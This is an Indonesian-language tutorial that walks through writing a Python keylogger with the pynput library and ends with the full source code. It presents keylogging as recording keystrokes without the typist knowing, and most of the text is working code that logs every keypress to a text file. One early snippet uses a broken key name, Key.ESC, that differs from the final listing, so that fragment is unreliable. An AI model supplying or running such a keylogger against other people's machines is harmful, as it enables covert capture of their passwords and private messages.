log key merupakan suatu tindakan yang merekam (loging) tombol yang di tekan pada keyboard, sehingga seseorang yang mengetik tersebut tidak mengetahui kalau di sedang pantau. Selanjutnya data kemudian dapat di ambill oleh yang mengoperasikan program loging.
Dengan menggunakan paket program pynput kamu bisa membuat sebuah program keyloger. Dengan menggunakan paket ini memungkinkan kamu dapat melakukan pengontrolan dan memantau perangkat yang di input.
Dalam proyek ini file yang di dapat akan di simpan dalam bentuk teks (.txt) yang berada di dalam folder yang sama dalam program yang di buat.
Untuk menjalankan script ini kamu harus menginstal module pynput silahkan cek cara install packagenya di pynput project. Paket pynputberisi kelas untuk mengontrol dan memantau keyboard. pynput adalah perpustakaan Python yang dapat digunakan untuk menangkap input keyboard di sana, penggunaan yang paling baik dari ini dapat terletak pada pembuatan keylogger. Kode untuk keylogger diberikan di bawah ini.
Langkah pertama yang harus kamu perbuat yaitu mengimport modul Key dan Listener dari paket pynput.
from pynput.keyboard import Key, Listener
Class key di gunakan untuk mendapatkan penekanan tombol pada keyboard secara terus menerus. Sekarang kita membuat daftar kosong bernama kunci untuk menyimpan semua penekanan tombol untuk menulisnya ke dalam file.
keys = [] # empty list to add the keystrokes
Untuk dapat mendengarkan penekanan tombol dan menulisnya ke file log kita akan menggunakan total 3 fungsi yaitu:
on_press: dalam fungsi ini, setiap tombol yang ditekan ditambahkan ke daftar tombol dan fungsi untuk menulisnya ke file log dipanggil. Juga, jenis tombol yang ditekan akan dicetak di konsol/terminal.
#function to print which key is being pressed
def on_press(key):
keys.append(key)
write_file(keys)
try:
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
print('special key {0} pressed'.format(key))
on_release: dalam fungsi ini, kita akan mencetak setiap kunci yang dilepaskan di konsol/terminal dan akan menghentikan program jika ESC ditekan dan dilepaskan.
# function to print which key is being released and end Listener if ESC is pressed
def on_release(key):
print('{0} released'.format(key))
if key == Key.ESC:
# Stop listener when ESC is pressed
return False
Program berakhir ketika tombol Esc ditekan dan dilepaskan.
write_file: fungsi ini digunakan untuk menulis semua penekanan tombol ke file log.
# function to write the keystrokes to the log file
def write_file(keys):
with open('log.txt', 'w') as f:
for key in keys:
# removing '' of the strings
k = str(key).replace("'", "")
f.write(k)
# space between every keystroke for readability
f.write(' ')
Listener memberikan semua penekanan tombol di dalam tanda kutip tunggal(‘) jadi gunakan metode replace untuk menggantinya dengan null.
Terakhir, kita membuat instance Listener untuk memanggil fungsi-fungsi di atas saat sebuah tombol ditekan atau dilepaskan. Ada dua parameter yang harus di lewati yaitu on_press dan on_release.
Kata kunci with digunakan untuk mengalokasikan sumber daya ke objek Listener dan melepaskannya secara otomatis saat tugas selesai.
join() – menambahkan tanda kutip tunggal untuk setiap penekanan tombol dan menggabungkannya bersama-sama.
with Listener(on_press=on_press,
on_release=on_release) as listener:
listener.join() # joins all the keystrokes together
Untuk sumber kode lengkapnya silahakan lihat di bawah ini.
# keylogger using pynput module
from pynput.keyboard import Key, Listener
keys = [] # empty list to add the keystrokes
# function to print which key is being pressed
def on_press(key):
keys.append(key)
write_file(keys)
try:
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
print('special key {0} pressed'.format(key))
# function to write the keystrokes to the log file
def write_file(keys):
with open('log.txt', 'w') as f:
for key in keys:
# removing '' of the strings
k = str(key).replace("'", "")
f.write(k)
# space between every keystroke for readability
f.write(' ')
# function to print which key is being released and end Listener if esc is pressed
def on_release(key):
print('{0} released'.format(key))
if key == Key.esc:
# Stop listener when esc is pressed
return False
with Listener(on_press=on_press,
on_release=on_release) as listener:
listener.join() # joins all the keystrokes together
Sekarang jalankan progmranya dan tulis kalimat "hai" menggunaka keyboard, silahkan lihat hasilnya di dalam terminal yang kamu jalankan